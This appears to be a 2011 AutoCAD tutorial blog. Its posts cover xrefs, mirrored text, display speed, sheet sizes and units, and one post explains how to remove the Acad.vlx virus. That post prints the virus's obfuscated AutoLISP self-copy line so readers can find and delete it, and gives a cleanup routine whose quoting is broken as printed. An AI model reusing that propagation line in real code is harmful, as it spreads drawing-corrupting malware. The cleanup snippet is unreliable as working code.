A2Z-TUTS

Tips and Tricks: Remove Acad.vlx Virus from AutoCAD Products.

2011-07-21T21:17:00.007+05:30

Most AutoCAD based products have reported malicious attack causing your drawing files to corrupt and render unuseful. This is not an actual AutoCAD file provided by Autodesk.

When the malicious file Acad.vlx is loaded in AutoCAD it creates a copy of itself in the Help folder under C:\Program Files\AutoCAD 20xx\Help\logo.gif. It also modifies other files. It changes the system variable ACADLSPASDOC from default value 0 to 1, allowing Acad.vlx to be loaded in other drawings, thereby corrupting them.

Follow these simple steps on how to prevent further corruption of the drawing files:

1. Under product installation folder, locate support folder. i.e C:\Program Files\AutoCAD 20xx\Support.

2. Inside the Support folder find the file acad20xx.lsp file. Open the file with Notepad and add the below code to the file.

(defun cleanvirus( / lspfiles lspfile x)

(setq lspfiles (“acad.vlx” “logo.gif”))

(foreach lspfile lspfiles

(while (setq x (findfile lspfile))

(progn

(vl-file-delete x)

(princ “\nDeleted file”)

(princ x)

);progn

);while

);foreach

)

(cleanvirus)

3. Open each of the following files:

C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp

C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp

ROAMABLEROOTPREFIX\Support\acad.mnl
Note: Replace ROAMABLEROOTPREFIX with the value returned by the ROAMABLEROOTPREFIX system variable.

4. If present, delete the following line of code:
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))

5. Save each file.

Please feel free to leave a comment or queries. I would be glad to answer your queries.

Understanding External References: PART -1

2011-07-20T14:41:00.001+05:30

External References also called as xrefs in AutoCAD, allow you to view any drawing as a reference in your current drawing. The Referenced drawing will be treated as an external drawing and will not be the part of your current drawing. External References gives you the flexibility of laying one drawing on top of another in any location, scale and rotate and being able to see both at the same time.

When you attach a drawing as an xref, you link that referenced drawing to the current drawing; any changes to the referenced drawing are displayed in the current drawing when it is opened or reloaded.

Attaching External References

Command : xref
Alias Command : xr
Pull Down : Insert > External References…

1. External References can be started by typing the command ‘xref’ in the command prompt or typing its alias command ‘xr’ or you can also insert external reference by pull down menu Insert > External References….External Reference dialog box appears as shown below.

2. Click on the AttachDWG icon. Select the drawing file you want to insert in the current drawing. The dialog box displays the file that you chose, along with its path (location).

3. Choose Reference Type as Attachment. You can give the x,y and z co-ordinates point or Specify On-screen for Insertion Point. Leave the Scale values of x, y and z to 1.00. Set the Path type to Full path. If you like insert the drawing in certain angle you can specify the Angle under Rotation or leave to 0 and Click OK to attach an xref.

Note : Reference Type - Overlay can be used when you are sharing the drawings in a network environment. When someone else attaches your drawing as an xref the overlay is not displayed.

Path Type : This allows you to specify whether the save path to the external referenced drawing (xref) is full path, a relative path or no path.

i. Select Full Path to specify the full path of the xref drawing, including the drive letter (c:).

ii. Select Relative Path if you want to specify only a part of the xref drawing’s path. This will allow you to move an xref to different drive that has the same folder structure.

iii. Select No Path, allows you to use xref when you want to send it someone else with a different folder structure. To make sure that the drawing can find xref, ensure that it is in the project files search path.

Please feel free to leave a comment or queries. I would be glad to answer your queries.

Tips and Tricks: Mirror Objects without Mirroring Text.

2011-07-18T17:04:00.002+05:30

When Mirroring Object by default text, attributes and attributes definition will get flipped or turned upside down in the mirror image. The text will have different alignment and justifications after the objects are mirrored. If you don’t want the text to be reversed, set the MIRRTEXT system variable to ‘0’.

Note: MIRRTEXT Command works with the text created with the TEXT, ATTDEF or MTEXT commands.

Please feel free to leave a comment or queries. I would be glad to answer your queries.

Tips and Tricks: Improving Display Performance of AutoCAD Drawings.

2011-07-18T17:00:00.002+05:30

To improve the Display performance of your drawing you can simplify the display of certain kinds of objects and speed up the performance.

1. Turning off Solid Fill.

Turning off Solid fill Mode, certain object properties like wide Polylines, Solid-filled Polygons, Gradient Fill and Hatches are displayed in outline form as shown in the below figures.

Note: After turning OFF/ON in the Fill Mode you have to Regenerate the drawing using regen Command for seeing the changes.

2. Turning OFF Lineweights

Lineweights that represent more than one pixel may slow down performance. For improving display performance, turn OFF the Lineweights. You can toggle lineweights ON and OFF by choosing LWT button on the status bar or by using the Lineweight Setting Dialogue box.

Please feel free to leave a comment or queries. I would be glad to answer your queries.

Learning AutoCAD: Standard Sizes of Drawing Sheets

2011-07-10T17:48:00.002+05:30

Any newcomer to AutoCAD before beginning the drawing in AutoCAD has to know the standard sizes of drawing sheets. As per the International Standards the standard sizes of the drawing sheets recommended are designated as A0, A1, A2, A3 and A4 as shown in the table.

Designation	Trimmed Size
A0	841 x 1189
A1	594 x 841
A2	420 x 594
A3	297 x 420
A4	210 x 297
All Dimensions are in mm

The Surface area of A0 size sheet is one square metre. The Sizes of the successive drawing sheets are obtained by halving the previous higher size sheet as shown in shown in figure 1. The width to length ratio for all sheet sizes are maintained as 1:√2.


Drawing Sheet Sizes- Figure 1

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HOW TO USE UNITS AND SCALES IN AUTOCAD?

2011-07-09T21:37:00.000+05:30

This is one of the basic and fundamental concepts a newcomer to Autocad should learn. One cannot start creating a sensible drawing until they are familiar with units, scale and the commands to control them. In this tutorial we’ll discuss the concepts of Units and Scales.

Before we get into commands there are two Frequently Asked Questions (FAQ’s) on Units and Scales. Lets us first try to answer them.

1. Why should I set Scale in Autocad?

No matter what you draw in Autocad it will be drawn in full size, i.e. it will be in the scale ratio of 1:1. You don’t have to worry of about setting drawing scales as you do when using on drawing board. While drawing on a sheet of paper be it A0, A1, A2 or A3 you should decide the drawing scale, whether you going to draw in the ratio of 1:20 or 1:200 based on the size of the paper and the size of the drawing. In Autocad you do not need to decide upon a drawing scale until you come to print the drawing. The scaling of the drawing takes place at the printing stage. This will give you the ability to measure lengths, areas and volumes within the Autocad drawing and you no need to compensate on any scale factor.

2. What Units should I use?

In most parts of the World it is the common practice to use Meters or millimeters. Which of these two units you will use rely on the type of drawing you create? For example if you are creating an automobile/mechanical component you would probably be working in millimeters or on the other hand if you’re creating a landscape you would probably be working in meters. Most Architects and Engineers prefer to work in Meters. Autocad supports both System of International (SI units) and Imperial system units. Imperial system is largely used by American Autocad users where Feets and Inches are still in common practice.

The following Table shows you the Different type of units available in Autocad for you to work with.

UNIT TYPE	DESCRIPTION	DRAWING UNITS
Decimal	Metric or SI Units	1.5000
Scientific	Decimal Value raised to a power	1.5 E+03
Engineering	Feet and Decimal inches	1.5' - 1.5"
Architectural	Feet and Fractional inches	0' - 1 1/2"
Fractional	Whole Numbers and Fractions	1 1/2 - 1500

Units:

Units Dialogue Box

AutoCad Command : Units

Alias Command : un

Pull Down : Format > Units…

Let’s take a look at units command -

Units Command can be accessed in different ways. You can navigate using pull down menu using mouse or just use keyboard and enter ‘Units’ in the command window. You can also bring up Units Dialogue box by just entering the alias command ‘un’.

When you start units command a Drawing units Dialogue box will come up as shown above. The dialogue box is divided into five main sections. The Top most sections include “Length” and “Angular” Sections. Length Sections include linear units such as Decimal, Engineering, Scientific, Architectural and Fractional units. Angular Section Includes Angular units like Decimal Degrees, Deg/Min/Sec, Grads, Radians and Surveyor units.

Both Length and Angular Sections are provided with Precisions. By default, Autocad sets linear unit precision to four places of decimal, so the distance appear in the form 0.0000. Angular unit precision is set to whole degrees only. In addition, the Angles Section also allows you to specific the directions in which angles are measured. See the below picture.

Direction Control

Using the direction control you will have the ability measure and position of the start angle of the angular units. By default the Base angle will be set to zero angle (East) with its angles increasing in an anti-clockwise direction. The default setting will do well for most of the part. However there may be at times you may have to use zero angle at 9 o clock position (West) and the increasing angles in clockwise direction. For example while drawing geographical maps or surveyors drawings; this situation enables you to specify angles with respect to West.

The Middle Section consists of Insertion Scale. Insertion Scale lets you to control the unit of measurement for blocks and drawings that are inserted into the current drawings. It will automatically scales the drawings or blocks when inserted into the current drawings when the units are different from the units specified.

The Bottom Section consists of Lighting. It enables you to control the unit of measurement for the intensity of photometric light in the current drawings. This option is occasionally used and not as important as compared to the latter ones.

By this I am wrapping up the session on Units and Scales. Hope you liked. Feel free to live your comments for the above tutorial and I’ll be glad to answer your queries.